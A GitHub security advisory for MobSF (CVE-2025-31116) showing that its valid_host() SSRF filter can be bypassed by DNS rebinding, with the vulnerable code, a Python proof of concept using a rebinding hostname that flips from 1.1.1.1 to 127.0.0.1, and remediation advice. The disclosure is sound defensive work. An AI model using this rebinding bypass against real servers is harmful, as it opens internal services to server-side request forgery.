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Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding

Moderate severity GitHub Reviewed Published Mar 29, 2025 in MobSF/Mobile-Security-Framework-MobSF • Updated Mar 31, 2025

Package

pip mobsf (pip)

Affected versions

< 4.3.2

Patched versions

4.3.2

Description

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',
            '127.',
            '192.',
            '198.',
            '10.',
            '172.',
            '169.',
            '0.',
            '203.0.',
            '224.0.',
            '240.0',
            '255.255.',
            'localhost',
            '::1',
            '64::ff9b::',
            '100::',
            '2001::',
            '2002::',
            'fc00::',
            'fe80::',
            'ff00::')
        if domain.startswith(invalid_prefix):
            return False, None
        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :

$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass
 - Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
 - Second use host will be resolved to: 127.0.0.1
 - Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.
As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

  • Avoid the use of socket.gethostbyname() since it issues and DNS query.

References

Published by the National Vulnerability Database Mar 31, 2025
Published to the GitHub Advisory Database Mar 31, 2025
Reviewed Mar 31, 2025
Last updated Mar 31, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

CVE ID

CVE-2025-31116

GHSA ID

GHSA-fcfq-m8p6-gw56

Credits

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